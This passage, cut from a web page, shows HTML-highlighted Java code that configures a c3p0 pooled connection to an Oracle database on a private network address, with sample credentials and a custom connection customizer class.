vertical-align: baseline;">class</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">private</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">static</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">int</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> timeout </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">5</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">;</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// seconds</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">public</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">static</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Connection</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> getConnection</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">()</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">throws</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Exception</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">{</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ComboPooledDataSource</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> cpds </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">new</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ComboPooledDataSource</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">();</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
cpds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setDriverClass</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"oracle.jdbc.driver.OracleDriver"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// loads the</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="com" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: grey; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">// jdbc driver</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
cpds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setJdbcUrl</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"jdbc:oracle:thin:@192.168.2.9:1521/ORCL"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
cpds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setUser</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"ramonal"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
cpds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setPassword</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"ramonal"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
cpds</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">setConnectionCustomizerClassName</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"com.mpos.lottery.te.common.dao.OracleConnectionCustomizer"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 